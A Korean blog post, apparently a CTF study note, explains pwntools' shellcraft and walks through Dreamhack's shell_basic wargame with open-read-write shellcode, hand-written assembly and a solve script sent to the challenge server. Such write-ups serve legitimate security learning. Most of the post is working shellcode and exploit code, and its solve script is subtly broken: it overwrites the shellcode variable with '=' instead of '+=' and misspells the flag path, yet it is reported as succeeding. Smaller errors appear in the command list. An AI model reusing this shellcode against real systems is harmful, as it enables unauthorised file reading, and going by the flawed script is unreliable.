취약점분석/Pwnable

[Pwnable] Shellcraft와 셸코드 문제 풀이(shell_basic)

poiri3r 2025. 6. 19. 16:19

오늘은 어제 포스팅에 이어서 셸코드를 추출해주는 pwntools라이브러리인 Shellcraft에 대해 알아보고 문제를 풀어보는 시간을 가지겠습니다.

 

shellcode는 리눅스, 윈도우, ARM 등 여러 플랫폼에 맞는 쉘코드를 자동으로 만들어주는 도구입니다.

shellcode는 쉘코드를 한 줄로 생성 가능해 간단하고, 가독성이 좋지만 세세한 커스터마이징이 어렵고 바이트코드의 길이를 예측하기가 어렵다는 단점이 있습니다.

 

shellcraft 기본 사용 법부터 알아보겠습니다.

먼저 shellcraft는 pwntools 안에 있는 기능이므로 저번에 pwntools 실습할 때 처럼 가상환경 venv를 실행해주고 그 안에서 파이썬을 실행해줍니다.

from pwn import*
context.arch = 'amd64'

 

위의 명령어를 통해 pwn을 불러오고 cpu 아키텍처 값을 지정해줍니다.

 

shellcraft의 기본적인 명령어들은 다음과 같습니다.

shellcraft.sh() /bin/sh 실행
shellcraft.execve("bin/ls", ["/bin/ls"], 0) ls 실행
shellcraft.cat("flag.txt") 파일 내용 출력
shellcraft.open("flag,txt", 0) open syscall로 flag.txt 열기
shellcraft.read(3, "esp", 100) fd=3 에서 esp레지스터 안의 내용을 100비트만큼 읽기
shellcraft .write(1, "esp", 100) esp안의 내용을 100바이트만큼 쓰기

 

위의 명령어를 토대로 저희가 저번에 작성해둔 ORW 코드를 쉘크래프트로 만들겠습니다.

section .text
global _start

_start:
    push 0x67
    mov rax, 0x616c662f706d742f 
    push rax
    mov rdi, rsp
    xor rsi, rsi
    xor rdx,rdx
    mov rax, 2
    syscall

    mov rdi,rax
    mov rsi,rsp
    sub rsi, 0x30
    mov rdx, 0x30
    mov rax, 0
    syscall

    mov rdi, 1
    mov rax, 1
    syscall

    mov rax,60
    xor rdi,rdi
    syscall

 

위는 /tmp/flag내용을 읽어오는 ORW 쉘코드입니다.

위의 ORW 쉘코드를 shellcraft로 같은 동작을 만들어보겠습니다.

 

먼저 코드를 보여드리고 실행과정을 순서대로 보여드리겠습니다.

from pwn import *

context.arch = 'amd64'

sc = shellcraft.open('/tmp/flag', 0, 0)              # rax = open("/tmp/flag", 0, 0)
sc += shellcraft.read('rax', 'rsp', 0x30)            # read(fd, rsp, 0x30)
sc += shellcraft.write(1, 'rsp', 0x30)               # write(1, rsp, 0x30)
sc += shellcraft.exit(0)                             # exit(0)

print(asm(sc).hex())

sc라는 변수에 +=로 붙이는 이유는 마지막에 여러 syscall을 하나의 쉘코드로 이어붙여서 출력하기 위함입니다.

 

print.hex로 출력을 해보면 다음과 같습니다.

하지만 다음 상태에서는 \x가 붙어있지 않기 때문에 바로 사용하기 힘들기 때문에 다음과 같이 코드를 수정해줍니다.

print(asm(sc).hex()) <- 이 부분을 아래 코드로 바꿈

compiled = asm(sc) 
print(''.join('\\x{:02x}'.format(b) for b in compiled))

 

차례로 입력시 다음과 같이 복사해서 사용 가능한 쉘코드가 출력되었습니다.

여태껏 포스팅한 글을 열심히 읽으셨다면 shellcraft.read/write/open 의 인자로 들어가는 값이 어디서 나왔는 지 알 것이라 생각합니다.

shellcraft를 사용하면 직접 어셈블리를 구현하지 않고 비교적 간단하게 쉘코드를 구할 수 있습니다.

 

shellcraft를 사용한 문제 풀이를 해보겠습니다. 

문제는 드림핵의 shell_basic이고 교육-포너블에 보시면 상세 해설이 적혀있기때문에 참고하시면 좋을 것 같습니다.

https://dreamhack.io/wargame/challenges/410

 

먼저 해당 파일 코드 내에 execve 명령어를 막는 코드가 있기 때문에 orw셸코드를 작성해야합니다.

셸코드의 뼈대는 다음과 같습니다.

int fd = open(“/home/shell_basic/flag_name_is_loooooong”, O_RDONLY, NULL);
read(fd, buf, 0x30);
write(1, buf, 0x30);

 

저희는 다음과 같은 코드를 셸코드로 추출해서 드림핵 서버에 전송해야합니다.

shellcraft를 사용하면 간단하게 작성할 수 있는데

from pwn import*

p=remote("host3.dreamhack.games", port번호)
context.arch = "amd64"

dir = "/home/shel_basic/flag_name_is_loooooong"

sc = shellcraft.open(dir)
sc = shellcraft.read('rax', 'rsp', 0x30)
sc = shellcraft.write(1, 'rsp', 0x30)

p.sendlineafter(b"shellcode: ", asm(sc))
p.interactive()

 

다음 코드들을 한줄씩 직접 입력해도 가능하고 파이썬코드로 저장한뒤 실행해도 가능합니다. 

일단 살펴보면 dir에 문자열을 길게 저장한 뒤에 open의 인수로 넣어줬습니다.

dir = "/home/shel_basic/flag_name_is_loooooong"

 

저희가 저번에 open으로 어셈블리 코드를 할때는 8바이트씩 들어가기때문에 여러번 끊어서 push해야하는 불편함이 있었습니다.

하지만 shellcraft를 이용하면 문자 길이 상관없이 간단하게 쉘코드를 생성할 수 있습니다.

p.sendlineafter(b"shellcode: ", asm(sc))

 

해당 코드에서 연결된 process로 sc에 저장된 어셈블리 문자열을 기계어 바이트코드로 변환한 뒤 송신합니다.

그 뒤 interative를 통해 서버에서 수신한 뒤, 출력해서 보여줍니다.

저는 다음과 같이 작성한 뒤 저장해 두었고 wsl에서 실행해보겠습니다.

 

플래그가 정상 출력됨을 확인할 수 있었습니다. 플래그 이위에 \x00\x00 문자가 출력되는데 저희가 0x30(48바이트)만큼 출력하기 때문에 스택 뒤의 정보가지 출력하는 것 입니다.

 

shellbasic을 사용하지 않고 직접 어셈블리를 짜고 싶다면 다음과 같이 짜야됩니다.

//open syscall 부분 어셈블리
push 0x0                    ;  NULL byte
mov rax, 0x676e6f6f6f6f6f6f ; "oooooong"
push rax
mov rax, 0x6c5f73695f656d61 ; "ame_is_l"
push rax
mov rax, 0x6e5f67616c662f63 ; "c/flag_n"
push rax
mov rax, 0x697361625f6c6c65 ; "ell_basi"
push rax
mov rax, 0x68732f656d6f682f ; "/home/sh"
push rax
mov rdi, rsp    ; rdi = "/home/shell_basic/flag_name_is_loooooong"
xor rsi, rsi    ; 
xor rdx, rdx    ; 
mov rax, 2      ; 
syscall         ;

 

8글자씩 끊어서 rax에 넣고 null문자까지 포함해서 41바이트를 전달해야되는 번거로움이 있습니다.

나머지 read,write 부분은 이전에 작성했던 ORW 코드와 동일하기 때문에 생략하겠습니다.

참고로 원하는 문자열을 ascii값으로 변환하는 과정은 챗지피한테 물어보면 바로 해주고 파이썬 스크립트로도 작성 가능합니다.

 

일단 이것으로 포스팅은 마치도록 하겠습니다.

시험기간이라 포스팅할 시간이 많이 안나는데.. 종강하고나서도 알바가 넘 많아서 시간이 될지 모르겠네요.. 열심히 작성하겠습니다. 

요즈음에 너무 포너블 포스팅만 작성한 것 같아 다음 포스팅은 리버싱 관련해서 작성해보겠습니다.

예정대로는 콜링 컨벤션이나 후킹 관련해서 작성할 것 같습니다.

읽어주셔서 감사합니다~